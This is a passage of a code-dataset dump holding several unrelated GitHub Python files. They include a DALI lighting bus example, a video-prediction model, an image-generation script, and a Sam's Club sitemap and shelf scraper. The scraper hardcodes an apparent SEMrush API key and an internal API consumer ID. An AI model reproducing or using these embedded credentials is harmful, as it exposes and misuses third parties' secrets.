EventScheme,\n QueryEventSchemeResponse,\n UnknownEvent,\n)\nfrom dali.device.sequences import SetEventFilters, SetEventSchemes\nfrom dali.driver.serial import DriverLubaRs232\nfrom dali.exceptions import DALISequenceError\nfrom dali.gear.colour import QueryColourValueDTR\nfrom dali.gear.general import DAPC, QueryControlGearPresent\nfrom dali.gear.sequences import QueryDT8ColourValue, SetDT8ColourValueTc\nfrom dali.memory import info, location\nfrom dali.sequences import QueryDeviceTypes, QueryGroups\n\n# Define the path to the serial RS232 interface. The 'luba232' scheme tells\n# the driver which protocol to use - so far only the LUBA protocol is\n# implemented, but others may be added in the future\nURI = \"luba232:/dev/ttyUSB0\"\n\n\nasync def setup():\n # Set up LUBA RS232 driver\n logger = logging.getLogger(\"dali\")\n log_handler = logging.StreamHandler()\n log_formatter = logging.Formatter(\"%(asctime)s %(levelname)s:%(message)s\")\n log_formatter.default_msec_format = \"%s.%03d\"\n log_handler.setFormatter(log_formatter)\n logger.addHandler(log_handler)\n logger.setLevel(\"INFO\")\n\n driver = DriverLubaRs232(uri=URI)\n await driver.connect(scan_dev_inst=True)\n return driver\n\n\nasync def listen_luba(driver):\n for dev_addr in {x[0] for x in driver.dev_inst_map.mapping.keys()}:\n print(f\"\\nReading memory banks for device A²{dev_addr}:\")\n short = DeviceShort(dev_addr)\n try:\n dev_info = await driver.run_sequence(info.BANK_0.read_all(short))\n print(f\"{dev_info}\\n\")\n except location.MemoryLocationNotImplemented:\n pass\n\n for dev_addr_inst, dev_type in driver.dev_inst_map.mapping.items():\n dev_addr = dev_addr_inst[0]\n inst_num = dev_addr_inst[1]\n print(\n f\"\\nEnabling device/instance scheme for A²{dev_addr}:I{inst_num} \"\n f\"(type {dev_type})\"\n )\n sequence = SetEventSchemes(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n scheme=EventScheme.device_instance,\n )\n rsp = await driver.run_sequence(sequence)\n if isinstance(rsp, QueryEventSchemeResponse):\n if rsp.value == EventScheme.device_instance:\n print(\"Success\")\n continue\n print(\"Failed!\")\n\n for dev_addr_inst, dev_type in driver.dev_inst_map.mapping.items():\n dev_addr = dev_addr_inst[0]\n inst_num = dev_addr_inst[1]\n if dev_type == pushbutton.instance_type:\n print(f\"\\nEnabling pushbutton events for A²{dev_addr}:I{inst_num}\")\n filter_to_set = (\n pushbutton.InstanceEventFilter.short_press\n | pushbutton.InstanceEventFilter.long_press_start\n | pushbutton.InstanceEventFilter.button_pressed\n | pushbutton.InstanceEventFilter.long_press_repeat\n | pushbutton.InstanceEventFilter.button_released\n | pushbutton.InstanceEventFilter.long_press_stop\n | pushbutton.InstanceEventFilter.button_stuck_free\n )\n sequence = SetEventFilters(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n filter_value=filter_to_set,\n )\n rsp = await driver.run_sequence(sequence)\n if rsp == filter_to_set:\n print(\"Success\")\n else:\n print(\"Failed!\")\n\n # Test out getting some timer settings\n rsp = await driver.send(\n pushbutton.QueryShortTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n short_timer = f\"{rsp.value * 20} ms\"\n else:\n short_timer = \"<error>\"\n\n # Disable the double timer, this will mean short press events\n # are fired immediately on button release\n await driver.send(DTR0(0))\n await driver.send(\n pushbutton.SetDoubleTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n rsp = await driver.send(\n pushbutton.QueryDoubleTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n double_timer = f\"{rsp.value * 20} ms\"\n else:\n double_timer = \"<error>\"\n print(\n f\"A²{dev_addr}:I{inst_num} short timer: {short_timer}, \"\n f\"double timer: {double_timer}\"\n )\n elif dev_type == occupancy.instance_type:\n print(f\"\\nEnabling occupancy events for A²{dev_addr}:I{inst_num}\")\n filter_to_set = (\n occupancy.InstanceEventFilter.occupied\n | occupancy.InstanceEventFilter.vacant\n | occupancy.InstanceEventFilter.repeat\n )\n sequence = SetEventFilters(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n filter_value=filter_to_set,\n )\n rsp = await driver.run_sequence(sequence)\n if rsp == filter_to_set:\n print(\"Success\")\n else:\n print(\"Failed!\")\n\n # Test out some timer settings\n rsp = await driver.send(\n occupancy.QueryHoldTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n hold_timer = f\"{rsp.value * 10} s\"\n else:\n hold_timer = \"<error>\"\n\n await driver.send(DTR0(20))\n await driver.send(\n occupancy.SetReportTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n\n rsp = await driver.send(\n occupancy.QueryReportTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n report_timer = f\"{rsp.value} s\"\n else:\n report_timer = \"<error>\"\n\n print(\n f\"A²{dev_addr}:I{inst_num} hold timer: {hold_timer}, \"\n f\"report timer: {report_timer}\"\n )\n elif dev_type == light.instance_type:\n print(f\"\\nEnabling light events for A²{dev_addr}:I{inst_num}\")\n filter_to_set = light.InstanceEventFilter.illuminance_level\n sequence = SetEventFilters(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n filter_value=filter_to_set,\n )\n rsp = await driver.run_sequence(sequence)\n if rsp == filter_to_set:\n print(\"Success\")\n else:\n print(\"Failed!\")\n\n # Set the report timer to 20 seconds\n await driver.send(DTR0(20))\n await driver.send(\n light.SetReportTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n rsp = await driver.send(\n light.QueryReportTimer(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n report_timer = f\"{rsp.value} s\"\n else:\n report_timer = \"<error>\"\n\n # Set hysteresis to 10% and minimum 15\n await driver.send(DTR0(10))\n await driver.send(\n light.SetHysteresis(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n rsp = await driver.send(\n light.QueryHysteresis(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n hyst = f\"{rsp.value}%\"\n else:\n hyst = \"<error>\"\n\n await driver.send(DTR0(15))\n await driver.send(\n light.SetHysteresisMin(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n rsp = await driver.send(\n light.QueryHysteresisMin(\n device=DeviceShort(dev_addr),\n instance=InstanceNumber(inst_num),\n )\n )\n if isinstance(rsp, NumericResponse):\n hyst_min = f\"{rsp.value}\"\n else:\n hyst_min = \"<error>\"\n\n print(\n f\"A²{dev_addr}:I{inst_num} report timer: {report_timer} \"\n f\"hysteresis: {hyst}, min. hysteresis: {hyst_min}\"\n )\n\n # Test out DALI 16-bit control gear\n print(\"\\nSending DAPC(254) to broadcast address\")\n await driver.send(DAPC(GearBroadcast(), 254))\n await asyncio.sleep(1.5)\n\n for ad in range(64):\n short = GearShort(ad)\n rsp = await driver.send(QueryControlGearPresent(short))\n if rsp:\n if rsp.value:\n print(f\"\\nFound control gear A{ad}\")\n try:\n dts = await driver.run_sequence(\n QueryDeviceTypes(short), progress=print\n )\n print(f\" Device Types: {dts}\")\n # Use some DT8 commands to play with colour temperature\n if 8 in dts:\n tc = await driver.run_sequence(\n QueryDT8ColourValue(\n address=short,\n query=QueryColourValueDTR.ColourTemperatureTC,\n )\n )\n print(f\" Tc for A{ad}: {tc}\")\n tc += 50\n print(f\" Setting Tc for A{ad} to {tc} Mired\")\n await driver.run_sequence(\n SetDT8ColourValueTc(address=short, tc_mired=tc)\n )\n except DALISequenceError:\n pass\n try:\n gps = await driver.run_sequence(\n QueryGroups(short), progress=print\n )\n print(\n f\" Group Memberships: {list(gps) if gps else 'None'}\"\n )\n except DALISequenceError:\n pass\n\n await asyncio.sleep(1.5)\n print(\"\\nSending DAPC(0) to broadcast address\\n\")\n await driver.send(DAPC(GearBroadcast(), 0))\n\n await listen_print(driver)\n\n\nasync def listen_print(driver):\n # Listen and print out any intercepted DALI commands\n print(\"\\nListening for DALI commands on the bus...\\n\")\n rx_queue = driver.new_dali_rx_queue()\n while True:\n cmd = await rx_queue.get()\n print(cmd)\n if isinstance(cmd, UnknownEvent):\n print(f\" Data: {cmd.event_data:b}\")\n print(f\" Frame: {cmd.frame.as_integer:024b}\")\n\n\nasync def run_listen_luba():\n driver = await setup()\n await listen_luba(driver)\n\n\nasync def run_listen_print():\n driver = await setup()\n await listen_print(driver)\n\n\nif __name__ == \"__main__\":\n # asyncio.get_event_loop().run_until_complete(run_listen_print())\n asyncio.get_event_loop().run_until_complete(run_listen_luba())\n","repo_name":"sde1000/python-dali","sub_path":"examples/async-serial-luba.py","file_name":"async-serial-luba.py","file_ext":"py","file_size_in_byte":13986,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"61"} +{"seq_id":"20233081","text":"import pandas as pd\nimport os\n\nclass AssembleDataset:\n def __init__(self, pattern, data_directory):\n self.pattern = pattern\n self.directory = data_directory\n self.dataset_chunks = []\n self.dataset = None\n\n def assembleFromCSVFiles(self):\n \"\"\"\n A method for assembling chunks of dataset in memory from separate CSV files.\n To run properly, the class must be instantiated with the common pattern in names of CSV files of interest\n And with the directory the method will search through for these files.\n The method appends the datasets read from disk to the dataset_chunks field and performs concatenation of\n these chunks to build a dataframe containing all the records of the complete dataset.\n It sets the None field dataset to the assembled dataset before finishing execution.\n\n :return: status if successful (0) or unsuccessful (-1)\n \"\"\"\n\n status = -1\n\n try:\n # iterate over the directory passed by the constructor to the class instance looking for\n # CSV files which contain a provided pattern.\n for file in os.listdir(self.directory):\n if (self.pattern in file):\n self.dataset_chunks.append(pd.read_csv(f\"{self.directory}/{file}\", low_memory=False))\n\n self.dataset = pd.concat(self.dataset_chunks)\n status = 0\n\n except Exception as e:\n print(\"Error: %s\" % e)\n\n return status\n\n\n","repo_name":"p-stachyra/Spatial_Analysis_Accidents_in_the_UK","sub_path":"modules/AssembleDataset.py","file_name":"AssembleDataset.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26247579688","text":"import torch\nimport torch.nn as nn\nfrom openstl.modules import Routing, MVFB, RoundSTE, warp\n\n\nclass DMVFN_Model(nn.Module):\n def __init__(self, in_planes, num_features, configs):\n super(DMVFN_Model, self).__init__()\n self.configs = configs\n self.input_C = configs.in_shape[1]\n self.stu = nn.ModuleList([MVFB(in_planes, num_features[i])\n for i in range(configs.num_block)])\n\n self.routing = Routing(2*self.input_C, configs.routing_out_channels)\n self.l1 = nn.Linear(configs.routing_out_channels, configs.num_block)\n\n def forward(self, x, training=True):\n batch_size, T, C, height, width = x.shape\n x = x.view(batch_size, T*C, height, width)\n ref = self.get_routing_vector(x)\n\n\n img0, img1 = x[:, :C], x[:, C:2*C]\n flow_list, merged_final, mask_final = [], [], []\n warped_img0, warped_img1 = img0, img1\n\n flow = torch.zeros(batch_size, 4, height, width).to(x.device)\n mask = torch.zeros(batch_size, 1, height, width).to(x.device)\n\n if training:\n for i in range(self.configs.num_block):\n flow_d, mask_d = self.stu[i](torch.cat((img0, img1, warped_img0, warped_img1, mask), dim=1), flow,\n scale=self.configs.scale[i])\n\n flow_right_now = flow + flow_d\n mask_right_now = mask + mask_d\n\n flow = flow + (flow_d) * ref[:, i].reshape(batch_size, 1, 1, 1)\n mask = mask + (mask_d) * ref[:, i].reshape(batch_size, 1, 1, 1)\n flow_list.append(flow)\n\n warped_img0 = warp(img0, flow[:, :2])\n warped_img1 = warp(img1, flow[:, 2:4])\n\n warped_img0_right_now = warp(img0, flow_right_now[:, :2])\n warped_img1_right_now = warp(img1, flow_right_now[:, 2:4])\n\n if i < self.configs.num_block - 1:\n mask_final.append(torch.sigmoid(mask_right_now))\n merged_student_right_now = (warped_img0_right_now, warped_img1_right_now)\n merged_final.append(merged_student_right_now)\n else:\n mask_final.append(torch.sigmoid(mask))\n merged_student = (warped_img0, warped_img1)\n merged_final.append(merged_student)\n\n for i in range(self.configs.num_block):\n merged_final[i] = merged_final[i][0] * mask_final[i] + merged_final[i][1] * (1 - mask_final[i])\n merged_final[i] = torch.clamp(merged_final[i], 0, 1)\n return merged_final\n else:\n for i in range(self.configs.num_block):\n if ref[0, i]:\n flow_d, mask_d = self.stu[i](torch.cat((img0, img1, warped_img0, warped_img1, mask), dim=1), flow,\n scale=self.configs.scale[i])\n flow = flow + flow_d\n mask = mask + mask_d\n\n mask_final.append(torch.sigmoid(mask))\n flow_list.append(flow)\n warped_img0 = warp(img0, flow[:, :2])\n warped_img1 = warp(img1, flow[:, 2:4])\n merged_student = (warped_img0, warped_img1)\n merged_final.append(merged_student)\n length = len(merged_final)\n for i in range(length):\n merged_final[i] = merged_final[i][0] * mask_final[i] + merged_final[i][1] * (1 - mask_final[i])\n merged_final[i] = torch.clamp(merged_final[i], 0, 1)\n return merged_final\n\n def get_routing_vector(self, x):\n C = self.input_C\n routing_vector = self.routing(x[:, :2*C]).reshape(x.shape[0], -1)\n routing_vector = torch.sigmoid(self.l1(routing_vector))\n routing_vector = self.configs.beta * self.configs.num_block * \\\n routing_vector / (routing_vector.sum(1, True) + 1e-6)\n routing_vector = torch.clamp(routing_vector, 0, 1)\n ref = RoundSTE.apply(routing_vector)\n return ref","repo_name":"chengtan9907/OpenSTL","sub_path":"openstl/models/dmvfn_model.py","file_name":"dmvfn_model.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":403,"dataset":"github-code","pt":"61"} +{"seq_id":"5698715416","text":"# Baekjoon Online Judge - 11727번. 2xn 타일링 2\n\nn = int(input())\ndp = [0] * 1001\ndp[1] = 1\ndp[2] = 3\n# 각각 점화식을 세웠을 때 n이 3부터 1번, 2번째 이전의 값에 2를 곱하고 더한 값이 경우의 수를 나타내는 규칙이 존재한다\nfor i in range(3, n + 1):\n dp[i] = dp[i-1] + 2 * dp[i-2]\nprint(dp[n] % 10007)\n","repo_name":"wnstj-yang/Algorithm","sub_path":"BOJ/BOJ_11727.py","file_name":"BOJ_11727.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42392077492","text":"def point_tilt (x_pin,y_pin):\r\n # distance between f0 and pin\r\n x_f0p=float(x_f0-x_pin)\r\n y_f0p=float(y_f0-y_pin)\r\n hyp_f0p=float(math.sqrt((x_f0p*x_f0p)+(y_f0p*y_f0p)))\r\n #print \"F0p\", x_f0p, y_f0p, hyp_f0p\r\n\r\n # distance between f1 and pin\r\n x_f1p=float(x_f1-x_pin)\r\n y_f1p=float(y_f1-y_pin)\r\n hyp_f1p=float(math.sqrt((x_f1p*x_f1p)+(y_f1p*y_f1p)))\r\n #print \"F1p\", x_f1p, y_f1p, hyp_f1p\r\n\r\n # distance between f2 and pin\r\n x_f2p=float(x_f2-x_pin)\r\n y_f2p=float(y_f2-y_pin)\r\n hyp_f2p=float(math.sqrt((x_f2p*x_f2p)+(y_f2p*y_f2p)))\r\n #print \"F2p\", x_f2p, y_f2p, hyp_f2p\r\n\r\n # Sphere center of f0 with radius of hyp_f0p\r\n # Sphere center of f1 with radius of hyp_f1p\r\n # Sphere center of f2 with radius of hyp_f2p\r\n\r\n # Intersection between sphere_0p and sphere_1p creating circle01\r\n # Distance between spheres center\r\n d_1=x_t1-x_t0;\r\n d_2=y_t1-y_t0;\r\n d_3=z_t1-z_t0;\r\n d=math.sqrt(d_1*d_1 + d_2*d_2 + d_3*d_3);\r\n # Angle between sphere_0 center and intersection point\r\n top=float(hyp_f0p*hyp_f0p + d*d - hyp_f1p*hyp_f1p)\r\n bot=float(2*hyp_f0p*d)\r\n t=top/bot\r\n alpha=math.acos(t)\r\n # Intersection circle radius r_c_01\r\n r_c01=float(hyp_f0p*math.sin(alpha))\r\n # Plane intersection of S0p and S1p\r\n A1=float(2*d_1)\r\n B1=float(2*d_2)\r\n C1=float(2*d_3)\r\n D1=float(x_t0*x_t0 - x_t1*x_t1 + y_t0*y_t0 - y_t1*y_t1\r\n + z_t0*z_t0 - z_t1*z_t1 - hyp_f0p*hyp_f0p + hyp_f1p*hyp_f1p)\r\n top=float(x_t0*A1 + y_t0*B1 +z_t0*C1 + D1)\r\n bot=float(A1*(x_t0-x_t1) + B1*(y_t0-y_t1) + C1*(z_t0-z_t1))\r\n t=float(top/bot)\r\n x_c01=float(x_t0 + t*(x_t1 - x_t0))\r\n y_c01=float(y_t0 + t*(y_t1 - y_t0))\r\n z_c01=float(z_t0 + t*(z_t1 - z_t0))\r\n\r\n # Intersection between sphere_1p and sphere_2p creating circle12\r\n # Distance between spheres center\r\n d_1=x_t2-x_t1;\r\n d_2=y_t2-y_t1;\r\n d_3=z_t2-z_t1;\r\n d=math.sqrt(d_1*d_1 + d_2*d_2 + d_3*d_3);\r\n # Angle between sphere_1 center and intersection point\r\n top=float(hyp_f1p*hyp_f1p + d*d - hyp_f2p*hyp_f2p)\r\n bot=float(2*hyp_f1p*d)\r\n t=top/bot\r\n alpha=math.acos(t)\r\n # Intersection circle radius r_c_12\r\n r_c12=float(hyp_f1p*math.sin(alpha))\r\n # Plane intersection of S0p and S1p\r\n A2=float(2*d_1)\r\n B2=float(2*d_2)\r\n C2=float(2*d_3)\r\n D2=float(x_t1*x_t1 - x_t2*x_t2 + y_t1*y_t1 - y_t2*y_t2\r\n + z_t1*z_t1 - z_t2*z_t2 - hyp_f1p*hyp_f1p + hyp_f2p*hyp_f2p)\r\n top=float(x_t1*A2 + y_t1*B2 +z_t1*C2 + D2)\r\n bot=float(A2*(x_t1-x_t2) + B2*(y_t1-y_t2) + C2*(z_t1-z_t2))\r\n t=float(top/bot)\r\n x_c12=float(x_t1 + t*(x_t2 - x_t1))\r\n y_c12=float(y_t1 + t*(y_t2 - y_t1))\r\n z_c12=float(z_t1 + t*(z_t2 - z_t1))\r\n\r\n # Direction of line intersection between planes of circles\r\n # Set z=t\r\n x1=float((B2*D1-B1*D2)/(A2*B1-A1*B2))\r\n x2=float((B2*C1-B1*C2)/(A2*B1-A1*B2))\r\n y1=float((-D1/B1)-((A1/B1)*x1))\r\n y2=float(((A1/B1)*x2)+(C1/B1))\r\n z1=0\r\n z2=1\r\n\r\n # Intersection between line and sphere of circle01\r\n cgx=float(x_c01-x1)\r\n cgy=float(y_c01-y1)\r\n cgz=float(z_c01-z1)\r\n cg_sq=cgx*cgx + cgy*cgy + cgz*cgz\r\n\r\n gh_sq=math.fabs((r_c01*r_c01) - cg_sq)\r\n top=gh_sq\r\n a=x2*x2\r\n b=y2*y2\r\n c=z2*z2\r\n bot = a+b+c\r\n t_sq=float(top/bot)\r\n t=math.sqrt(t_sq)\r\n x_tilt=x1 + t*x2\r\n y_tilt=y1 - t*y2\r\n","repo_name":"alfrednetanyahu/spike_check","sub_path":"py files/formula.py","file_name":"formula.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22327698297","text":"import numpy as np\nfrom PIL import Image\nimport torch\nfrom patches import aggregate_patches, get_image_patches\nfrom nn import nearest_neighbors_pytorch, nearest_neighbors\n\ndef pnn(image, Q, K, V, V_shape, alpha, P, C, device):\n if device == 'cuda':\n nn = nearest_neighbors_pytorch(Q, K, alpha, device) # GPU\n else:\n nn = nearest_neighbors(Q, K, alpha) # CPU\n output = V[nn] # Select V indexes\n output = output.reshape(V_shape[0], V_shape[1], P, P, C)\n output = aggregate_patches(image, output, P)\n \n return output\n\ndef gpnn(image, N, T, R, alpha, P, C, device):\n # Pyramid of smaller images, descending in size\n smaller_image_arrs = [np.asarray(image.resize((int(image.size[0]/(i * R)), int(image.size[1]/(i * R)))), dtype=np.uint16) for i in range(1, N+1)]\n smaller_image_arrs.insert(0, np.asarray(image))\n\n for n in range(N): # Should be N+1, but restricted to N due to memory issues\n if not n: # T=1 for Nth step\n #Nth step (coarsest scale)\n noise = np.random.normal(size=smaller_image_arrs[-1].shape, scale=0.75)\n Q = smaller_image_arrs[-1] + noise # y_n+1\n Q = get_image_patches(Q, P)\n Q = Q.reshape(-1, P, P, C)\n\n V = smaller_image_arrs[-1] # x_n\n V = get_image_patches(V, P)\n V_shape = V.shape\n V = V.reshape(-1, P, P, C)\n\n K = smaller_image_arrs[-1] # x_n+1\n K = get_image_patches(K, P)\n K = K.reshape(-1, P, P, C)\n\n generated = pnn(smaller_image_arrs[-1], Q, K, V, V_shape, alpha, P, C, device)\n\n else:\n # Generation from the prev step is resized for the next step\n generated = Image.fromarray(generated.astype(np.uint8)).resize((smaller_image_arrs[-1 * (1 + n)].shape[0], smaller_image_arrs[-1 * (1 + n)].shape[1]))\n generated = np.asarray(generated, dtype=np.uint16)\n\n # V is the source image at n\n V = smaller_image_arrs[-1 * (1 + n)] # x_n\n V = get_image_patches(V, P)\n V_shape = V.shape\n V = V.reshape(-1, P, P, C)\n\n # K is the source image at n+1, upscaled (blurry)\n K = Image.fromarray(smaller_image_arrs[-1 * (n)].astype(np.uint8)).resize((smaller_image_arrs[-1 * (1 + n)].shape[1], smaller_image_arrs[-1 * (1 + n)].shape[0])) # Width and height get reversed here\n K = np.asarray(K, dtype=np.uint16)\n K = get_image_patches(K, P)\n K = K.reshape(-1, P, P, C)\n\n # Q is the initial guess, at first from the previous step and\n # then updated at every t as the current guess at step n\n for t in range(T):\n Q = generated\n Q = get_image_patches(Q, P)\n Q = Q.reshape(-1, P, P, C)\n\n generated = pnn(smaller_image_arrs[-1 * (1 + n)], Q, K, V, V_shape, alpha, P, C, device)\n\n Image.fromarray(generated.astype(np.uint8)).show() # Enable this to show pyramid generations\n torch.cuda.empty_cache()\n\n return Image.fromarray(generated.astype(np.uint8))\n\n\n","repo_name":"gcinbis/DeepGenerativeModels-2023-Spring-Projects","sub_path":"GPNN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41791018515","text":"import csv\nfrom datetime import date\nimport re\nimport requests\nimport urlparse\nimport traceback\n\nfrom . import SitemapSpider, SitemapSpiderError\nfrom app.models import db, Semrush\n\n\nclass SamsClubSitemapSpider(SitemapSpider):\n retailer = 'samsclub.com'\n\n SITEMAP_URL = 'https://www.samsclub.com/sitemap.xml'\n STORES_URL = 'https://www.samsclub.com/sitemap_locators.xml'\n\n SHELF_API_URL = 'https://www.samsclub.com/soa/services/v1/catalogsearch/search'\n API_HEADERS = {\n 'WM_SVC.VERSION': '1.0.0',\n 'WM_SVC.ENV': 'prod',\n 'WM_SVC.NAME': 'sams-api',\n 'WM_QOS.CORRELATION_ID': '123456abcdef',\n 'WM_CONSUMER.ID': '6a9fa980-1ad4-4ce0-89f0-79490bbc7625'\n }\n\n SEMRUSH_KEY = 'e333e9506cd32ad922850a653179898e'\n\n def task_sitemap_to_item_urls(self, options):\n self.logger.info('Start parsing sitemap: {}'.format(self.SITEMAP_URL))\n\n products_seen = set()\n\n with open(self.get_file_path_for_result('samsclub_products.csv'), 'wb') as urls_file:\n urls_csv = csv.writer(urls_file)\n\n for url in self._parse_sitemap(self.SITEMAP_URL):\n product_id = re.search(r'samsclub\\.com/sams/(?:.*/)?(?:prod)?(\\d+)\\.ip', url)\n\n if product_id:\n product_id = int(product_id.group(1))\n\n if product_id not in products_seen:\n products_seen.add(product_id)\n\n urls_csv.writerow([url])\n\n urls_file.close()\n\n def task_shelf_to_item_urls(self, options):\n missing_options = {'urls'} - set(options.keys())\n\n if missing_options:\n raise SitemapSpiderError('Missing options: {}'.format(', '.join(missing_options)))\n\n shelf_urls = options.get('urls', [])\n\n failed_urls = []\n for shelf_url in shelf_urls:\n try:\n shelf_url_parts = urlparse.urlparse(shelf_url)\n\n category_id = re.search(r'/(\\d+)\\.cp', shelf_url_parts.path)\n if not category_id:\n self.logger.warn('Invalid shelf url: {}'.format(shelf_url))\n continue\n\n category_id = category_id.group(1)\n\n # initial params\n params = {\n 'limit': 48,\n 'navigate': 1,\n 'offset': 0,\n 'pageView': 'grid',\n 'recordType': 'all',\n 'searchCategoryId': category_id,\n 'totalLimit': 48\n }\n\n # add params from shelf url\n shelf_url_params = urlparse.parse_qs(shelf_url_parts.query)\n\n if shelf_url_params:\n params.update(shelf_url_params)\n item_urls_filename = '{}_{}.csv'.format(\n category_id,\n self._url_to_filename(shelf_url_parts.query)\n if isinstance(shelf_urls, list) else shelf_urls[shelf_url])\n else:\n item_urls_filename = '{}.csv'.format(\n category_id if isinstance(shelf_urls, list) else shelf_urls[shelf_url])\n\n with open(self.get_file_path_for_result(item_urls_filename), 'w') as item_urls_file:\n item_urls_writer = csv.writer(item_urls_file)\n\n while True:\n self.logger.info('Scraping shelf page with params: {}'.format(params))\n\n response = requests.get(self.SHELF_API_URL, params=params, headers=self.API_HEADERS)\n\n self._check_response(response, raise_error=True)\n\n data = response.json()\n\n status = data.get('status')\n if status != 'OK':\n raise SitemapSpiderError('Wrong response status: {}'.format(status))\n\n payload = data.get('payload', {})\n\n item_urls = [record.get('seoUrl') for record in payload.get('records', [])]\n self.logger.info('Found {} items at page'.format(len(item_urls)))\n\n for item_url in item_urls:\n item_urls_writer.writerow([urlparse.urljoin(response.url, item_url)])\n\n if params['offset'] + params['limit'] < payload.get('totalRecords'):\n params['offset'] += params['limit']\n params['navigate'] += 1\n else:\n break\n except:\n self.logger.error('Cannot process url: {}'.format(traceback.format_exc()))\n failed_urls.append(shelf_url)\n if failed_urls:\n self.save_failed_urls(failed_urls)\n raise SitemapSpiderError('Some urls cannot be processed')\n\n def task_geo_report(self, options):\n missing_options = {'urls'} - set(options.keys())\n\n if missing_options:\n raise SitemapSpiderError('Missing options: {}'.format(', '.join(missing_options)))\n\n report_name = options.get('request_name') or 'geo_report'\n\n with open(self.get_file_path_for_result('{}.csv'.format(report_name)), 'wb') as geo_report_file:\n csv_writer = csv.writer(geo_report_file)\n csv_writer.writerow(['URL', 'Store ID', 'Pick up in Club available'])\n\n stores = options.get('stores') or self._get_stores()\n\n failed_urls = []\n for store in stores:\n zip_code = None\n store_id = None\n\n if isinstance(store, dict):\n zip_code = store.get('zip_code')\n store_id = store.get('store_id')\n elif isinstance(store, (list, tuple)):\n if len(store) == 1:\n store_id = store[0],\n elif len(store) > 1:\n zip_code = store[0],\n store_id = store[1]\n else:\n store_id = store\n\n if zip_code and not store_id:\n store_id = self._get_store_id(zip_code)\n\n if not store_id:\n self.logger.warn('Missing store id for zip_code: {}'.format(zip_code))\n continue\n\n self.logger.info('Loading info for store id: {}'.format(store_id))\n\n for url in options.get('urls', []):\n try:\n product_info = self._get_product_info(url, store_id)\n\n csv_writer.writerow([url, store_id, product_info.get('pickup')])\n except:\n self.logger.error('Cannot process url: {}'.format(traceback.format_exc()))\n if url not in failed_urls:\n failed_urls.append(url)\n if failed_urls:\n self.save_failed_urls(failed_urls)\n raise SitemapSpiderError('Some urls cannot be processed')\n\n def _get_stores(self):\n stores = []\n\n for store_url in self._parse_sitemap(self.STORES_URL, follow=False):\n store_id = re.search(r'/(\\d+)$', store_url)\n\n if store_id:\n stores.append({'store_id': store_id.group(1)})\n\n return stores\n\n def _get_store_id(self, zip_code):\n self.logger.info('Search store for zip code: {}'.format(zip_code))\n\n store_search_url = 'https://www.samsclub.com/api/node/clubfinder/list?' \\\n 'distance=100&nbrOfStores=20&singleLineAddr={zip_code}'.format(zip_code=zip_code)\n\n response = requests.get(store_search_url, timeout=60)\n\n if self._check_response(response):\n stores = response.json()\n\n if stores:\n return stores[0].get('id')\n\n def _get_product_info(self, url, store_id):\n self.logger.debug('Checking store {}: {}'.format(store_id, url))\n\n product_info = {\n 'pickup': False,\n }\n\n for i in range(self.max_retries):\n try:\n response = requests.get(url, headers=self.API_HEADERS, cookies={'myPreferredClub': str(store_id)},\n timeout=60)\n\n if self._check_response(response):\n if 'addtocartsingleajaxclub' in response.content:\n product_info['pickup'] = True\n except:\n self.logger.error('Product info error: {}'.format(traceback.format_exc()))\n else:\n break\n\n return product_info\n\n def task_semrush(self, options):\n missing_options = {'urls'} - set(options.keys())\n\n if missing_options:\n raise SitemapSpiderError('Missing options: {}'.format(', '.join(missing_options)))\n\n ignore_cache = options.get('ignore_cache')\n product_urls = options.get('urls', [])\n\n failed_urls = []\n for product_url in product_urls:\n try:\n self.logger.info('Processing URL: {}'.format(product_url))\n\n self._semrush_url_organic(product_url, ignore_cache=ignore_cache)\n self._semrush_backlinks_overview(product_url, ignore_cache=ignore_cache)\n except:\n self.logger.error('Cannot process url: {}'.format(traceback.format_exc()))\n db.session.rollback()\n failed_urls.append(product_url)\n if failed_urls:\n self.save_failed_urls(failed_urls)\n raise SitemapSpiderError('Some urls cannot be processed')\n\n def _get_seo_url(self, url):\n self.logger.info('Getting SEO url for {}'.format(url))\n\n product_id = re.search(r'samsclub\\.com/sams/(?:.*/)?((?:prod)?\\d+)\\.ip', url)\n\n if product_id:\n redirect_url = 'https://www.samsclub.com/sams/shop/product.jsp?productId={}'.format(product_id.group(1))\n\n for i in range(self.max_retries):\n try:\n response = requests.get(redirect_url, headers=self.API_HEADERS, timeout=60, allow_redirects=False)\n except:\n self.logger.error('Getting SEO url error: {}'.format(traceback.format_exc()))\n else:\n seo_url = response.headers.get('location')\n\n if seo_url:\n return seo_url.split('?')[0]\n\n break\n\n 